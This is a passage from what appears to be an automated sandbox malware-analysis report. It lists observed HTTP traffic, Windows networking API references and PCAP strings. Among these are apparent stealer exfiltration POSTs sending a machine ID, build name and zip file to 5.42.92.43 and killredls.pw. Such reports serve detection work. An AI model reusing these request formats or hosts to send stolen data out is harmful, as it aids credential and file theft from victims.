tAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ltDFwf,Rusgnf,Ctsu,UPKV3d,bPkrc,W2YXuc,pxq3x,IZ1fbc,soHxf,kSPLL,qPfo0c,yRXbo,bTi8wc,ywOR5c,PHUIyb HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /s/googlesans/v14/4UaGrENHsxJlGDuGo1OIlL3Owpg.woff HTTP/1.1Accept: */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://accounts.google.comAccept-Encoding: gzip, deflateHost: fonts.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEMgd2ShHXCF4lDt-eJA-S0OIX4sg/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEMgd2ShHXCF4lDt-eJA-S0OIX4sg/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=n73qwf,SCuOPb,IZT63,vfuNJf,UUJqVe,ws9Tlc,siKnQd,STuCOe,njlZCf,fJpY1b,b3kMqb,EGw7Od,ZUKRxc,my67ye,t2srLd,EN3i8d,hmHrle,mWLH9d,NOeYWe,O6y8ed,fqEYIb,PrPYRd,MpJwZc,hc6Ubd,KUM7Z,oLggrd,inNHtf,L1AAkb,lwddkf,SpsfSb,tUnxGc,aW3pY,EFQ78c,xQtZb,I6YDgd,zbML3c,zr1jrb,vHEMJe,YHI3We,YTxL4,bSspM,Uas9Hd,zy0vNb,K0PMbc,AvtSve,qmdT9,xBaz7b,eVCnO,LDQI HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PHUIyb,PrPYRd,Rusgnf,SCuOPb,STuCOe,SpsfSb,UPKV3d,UUJqVe,Uas9Hd,W2YXuc,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bPkrc,bSspM,bTi8wc,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,kSPLL,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,pxq3x,qPfo0c,qmdT9,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,yRXbo,ywOR5c,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFo-pGcuy8ggFJrMH4h9k3FpFc9hA/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=RqjULd HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/ck=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,lsjVmc,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEMgd2ShHXCF4lDt-eJA-S0OIX4sg/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=RqjULd HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL")61:Tbef,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00000340-00000C26-59203112") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00000340-00000C26-59205976") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00003052-00000C26-123604740") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00003052-00000C26-123657702") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00003052-00000C26-123658223") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00003052-00000C26-123658514") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00003052-00000C26-123658751") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")62:Ta83,Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=13OsRD1s3OIdItVRc5gsContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache--13OsRD1s3OIdItVRc5gsContent-Disposition: form-data; name="hwid"QjIyMDJFQ0Q2NUJEMjM3NTI2MTQ0Mw==--13OsRD1s3OIdItVRc5gsContent-Disposition: form-data; name="build"bmFyZG8=--13OsRD1s3OIdItVRc5gs--"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"03F887B14DB2EAD76301F3B8730B08105E837081--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"03F887B14DB2EAD76301F3B8730B08105E837081--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"03F887B14DB2EAD76301F3B8730B08105E837081--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP")63:T59f,Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp")64:T6466,"GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.bing.comDNT: 1Connection: Keep-AliveCookie: SRCHD=AF=IESS4A; SRCHUID=V=2&GUID=DD3EB05AD9C54D24A2443E918EB9AD6D&dmnchg=1; SRCHUSR=DOB=20220131&T=1643622536000; _UR=D=0; SRCHHPGUSR=SRCHLANG=en&BRW=HTP&BRH=S&CW=1024&CH=472&SW=1024&SH=611&DPR=1&UTC=60&DM=3&WTS=63779219336&HV=1643615337" "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:J5U0iJ95ioUb5J9ahxKMGvFkrgGPVQ:wLbnjI6hCxSGWX9Z;Path=/;Expires=Mon, 10-Nov-2025 15:08:23 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-qsLjcjw56wLoFs3yM6-GFQ' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Sat, 11 Nov 2023 15:08:23 GMTExpires: Sat, 11 Nov 2023 15:08:23 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001�00000001P00000001A00000001j00000001�0000000101dc��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R", "GET / HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:J5U0iJ95ioUb5J9ahxKMGvFkrgGPVQ:wLbnjI6hCxSGWX9ZConnection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:kPYvBsx6Wg2P1Ukf_4vmH6Xg86B9IQ:9P_nOtuUOdyshdXT;Path=/;Expires=Mon 10-Nov-2025 15:08:30 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-K6ONPqg9wwqolXq0XQKbJA' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Sat 11 Nov 2023 15:08:30 GMTExpires: Sat 11 Nov 2023 15:08:30 GMTCache-Control: private max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001�00000001P00000001A000001jdf�0��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R" "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:u7_DzNJJSLYZ2boo29nFW-o8LNi0uw:DI4O6p_FJkQdnwlj;Path=/;Expires=Mon, 10-Nov-2025 15:08:34 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-N3xwt4oj16bAtZ8HCvlZzw' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Sat, 11 Nov 2023 15:08:34 GMTExpires: Sat, 11 Nov 2023 15:08:34 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:J5U0iJ95ioUb5J9ahxKMGvFkrgGPVQ:wLbnjI6hCxSGWX9ZConnection: Keep-AliveAccept-Language: en-US" "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeywCbJNJEcUUvBcmfpzVoyWQ5eZUsFVzS3giw2on0cEPsnJNB2QSc_ji5XnJnjgathDChUVkkg HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:dp4f8CUcEfF9OV8cFk78tFg1xZmF3A:_kg5mBqnPoxATk2fConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 302 FoundContent-Type: application/binarySet-Cookie: __Host-GAPS=1:dp4f8CUcEfF9OV8cFk78tFg1xZmF3A:_kg5mBqnPoxATk2f; Expires=Mon, 10-Nov-2025 15:08:35 GMT; Path=/; Secure; HttpOnly; Priority=HIGHCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Nov 2023 15:08:35 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeywCbJNJEcUUvBcmfpzVoyWQ5eZUsFVzS3giw2on0cEPsnJNB2QSc_ji5XnJnjgathDChUVkkgStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportContent-Security-Policy: script-src 'nonce-nAD8FHcpvbs2-lwDOrGgjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: unsafe-noneAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*Cross-Origin-Resource-Policy: cross-originServer: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8X-Frame-Options: DENYCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Nov 2023 15:08:36 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyt0wJr6Sytvra_3Ogqi1VXfdjzHKHGdLJyXex1p8srFmaq6d8aiK-c_75w7-bMisYPmrA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1945721496%3A1699715315996710&theme=glifStrict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk"Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreportContent-Security-Policy: script-src 'nonce-u_7BizQmNMhGZ2IG20vXBw' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportReport-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]}Content-Encoding: gzipX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "000017e��RMS�0��W08��B��P--��j��ԉ�@M(��:�<��l��{�;/��/�Q�t{,.�{�hA+%��2�HZ��h��O��r��Ko��I��;[_<�&�o]��RJ0��ϴ%w�L,9)˂_+z�Kލ)�S�4S��I��\!��#X�ݷ۽�8�E�g�MDӔ��$z�,{??.�Ӝi뺬��6�>�wz�z��l��^a��w^��2f7��T`��jh�zM��3��)�^�u-֝忐��*�Gcr�B�X�2C��&VB�a�h�GC��ttV/ұ��G00{��~�ژ�|�/��" "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:xKygfJ_CCrhpA-6qugbULDYVitZ8xw:ZT8Oc_IsEhekfED7Connection: Keep-AliveAccept-Language: en-US" "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyt0wJr6Sytvra_3Ogqi1VXfdjzHKHGdLJyXex1p8srFmaq6d8aiK-c_75w7-bMisYPmrA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1945721496%3A1699715315996710&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:dp4f8CUcEfF9OV8cFk78tFg1xZmF3A:_kg5mBqnPoxATk2fConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 302 FoundContent-Type: application/binaryCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Nov 2023 15:08:36 GMTLocation: 